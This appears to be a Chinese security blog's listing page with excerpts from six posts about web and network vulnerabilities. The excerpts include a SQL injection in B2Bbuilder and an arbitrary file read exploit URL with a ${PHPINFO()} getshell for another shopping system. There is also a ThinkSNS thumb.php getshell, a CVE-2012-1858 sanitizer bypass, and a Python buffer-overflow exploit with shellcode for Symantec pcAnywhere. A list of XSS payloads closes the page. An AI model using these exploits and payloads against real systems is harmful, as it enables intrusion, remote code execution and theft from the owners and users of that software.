B2Bbuilder php SQL inj

老系统内容 PHP SQL
约 346 字 预计阅读 1 分钟
wap/index.php if (!empty($_GET["action"])) $action=$_GET["action"]; else $action="home"; //$action=empty($action)?"home":$_GET["action"]; //=============================== if(in_array($action, array('home','offer_cat','offer_list','offer_detail','product_cat','product_list','product_detail','news_cat','news_list','news_detail','corporate_cat','corporate_list','corporate_detail','search','corporate_moredetail','product_showimg'))) { require'inc/'.$action.'.php'; } news_cat.php文件 if(!empty($_GET['nid'])) { $nid=$_GET['nid']; $sql="select * from ".NEWSCAT." where pid=$nid"; $db->query($sql); $sre=$db->getRows(); if(count($sre)>0) { foreach($sre as $v) { echo "[资讯]<a href='?action=news_list&newsid=".$v['catid']."'>".$v['cat']."</a>"; } echo " <a href='?act
阅读全文

315爱购程序任意文件源码查看

老系统内容 程序 文件 源码
约 179 字 预计阅读 1 分钟
pic.php function url_base64_decode($code) { if($code=="") return ""; $code=str_replace("!",'+',$code); $code=str_replace(",",'/',$code); $str=base64_decode($code); return $str; } $url=url_base64_decode($_GET["url"]); //....省略 header("Content-type: image/jpeg"); echo file_get_contents($url); exp:http://site/pic.php?url=aW5kZXgucGhw 后台GETSHELL 系统基本参数->网站所在目录：->${ PHPINFO()} 摘自：http
阅读全文

toStaticHTML: The Second Encounter (CVE-2012-1858)

老系统内容 CVE Html
约 332 字 预计阅读 1 分钟
IE toStaticHTML BYPASS HTML Sanitizing Bypass - CVE-2012-1858 Introduction The toStaticHTMLcomponent, which is found in Internet Explorer > 8, SharePoint and Lync is used to sanitize HTML fragments from dynamic and potentially malicious content. If an attacker is able to break the filtering mechanism and pass malicious code through this function, he/she may be able to perform HTML injection based attacks (i.e. XSS). It has been a year since the first
阅读全文

Symantec pcAnywhere 可登录名和密码字段缓冲区溢出

老系统内容 缓冲区 密码 溢出
约 512 字 预计阅读 2 分钟
#!/usr/bin/python # Exploit Title: Symantec PcAnywhere login and password field buffer overflow # Date: 2012.06.27 # Author: S2 Crew [Hungary] # Software Link: symantec.com # Version: 12.5.0 # Tested on: Windows XP SP2 # CVE: CVE-2011-3478 # Code : import socket import time import struct import string import sys shell = ( "\xda\xda\xbb\x9e\x7f\xfb\x04\xd9\x74\x24\xf4\x58\x2b\xc9" "\xb1\x56\x31\x58\x18\x03\x58\x18\x83\xc0\x9a\x9d\x0e\xf8" "\x4a\xe8\xf1\x01\x8a\x8b\x78\xe4\xbb\x99\x1f\x6c\xe9\x2d" "\x6b\x20\x01\xc5\x39\xd1\x92\xab\x95\xd6\x13\x01\xc0\xd9" "\xa4\xa7\xcc\xb6\x66\xa9\xb0\xc4\xba\x09\x88\x06\xcf\x48" "\xcd\x7b\x3f\x18\x86\xf0\xed\x8d\xa3\x45\x2d\xaf\x63\xc2" "\x0d\xd7\x06\x15\xf9\x6d\x08\x46\x51\xf9\x42\x7e\xda\xa5" "\x72\x7f\x0f\xb6\x4f\x36\x24\x0d\x3b\xc9\xec\x5f\xc4\xfb" "\xd0\x0c\xfb\x33\xdd\x4d\x3b\xf3\x3d\x38\x37\x07\xc0\x3b" "\x8c\x75\x1e\xc9\x11\xdd\xd5\x69\xf2\xdf\x3a\xef\x71\xd3" "\xf7\x7b\xdd\xf0\x06\xaf\x55\x0c\x83\x4e\xba\x84\xd7\x74" "\x1e\xcc\x8c\x15\x07\xa8\x63\x29\x57\x14\xdc\x8f\x13\xb7" "\x09\xa9\x79\xd0\xfe\x84\x81\x20\x68\x9e\xf2\x12\x37\x34" "\x9d\x1e\xb0\x92\x5a\x60\xeb\x63\xf4\x9f\x13\x94\xdc\x5b" "\x47\xc4\x76\x4d\xe7\x8f\x86\x72\x32\x1f\xd7\xdc\xec\xe0" "\x87\x9c\x5c\x89\xcd\x12\x83\xa9\xed\xf8\xb2\xed\x23\xd8" "\x97\x99\x41\xde\x06\x06\xcf\x38\x42\xa6\x99\x93\xfa\x04" "\xfe\x2b\x9d\x77\xd4\x07\x36\xe0\x60\x4e\x80\x0f\x71\x44"
阅读全文

Thinksns 2.5 getshell

老系统内容 getshell Shell
约 913 字 预计阅读 2 分钟
根目录 thumb.php 看代码 <?php /* * 自动缩略图 参数 url|w|h|type="cut/full"|mark="text/image|r" * thumb.php?url=/thinksns/data/userface/000/00/00/41_middle_face.jpg?1247718988&w=20&h=20 */ error_reporting(0); set_time_limit(30); $biggest_memory_limit = 256; //单位M，后缀不要加M //全局定义文件 //require 'define.inc.php'; //临时目录 $tempDir = "./data/thumb_temp/"; checkDir($tempDir); //分析URL $url = urldecode($_GET['url']); $url =
阅读全文

整理了一些 XSS 跨站代码

老系统内容 XSS 代码 跨站
约 442 字 预计阅读 1 分钟
<!-- " --!><input value="><img src=xx:x onerror=alert(1)//"> <script/onload=alert(1)></script> IE9 <style/onload=alert(1)> alert([0x0D]-->[0x0D]1<!--[0x0D]) 1<!--i document.write('<img src="<iframe/onload=alert(1)>\0">'); IE8 JSON.parse('{"__proto__":["a",1]}') location++ IE valid syntax: 我，啊=1,b=[我，啊],alert(我，啊) alert('aaa\0bbb') IE only show aaa http://jsbin.com/emekog <svg><animation xLI:href="javascript:alert(1)"> based on H5SC#88 #Opera Function('alert(arguments.callee.caller)')() firefox dos? while(1)find(); <div/style=x:expression(alert(URL=1))> Inject <meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7"> enabled css expression,breaking standard mode! <applet
阅读全文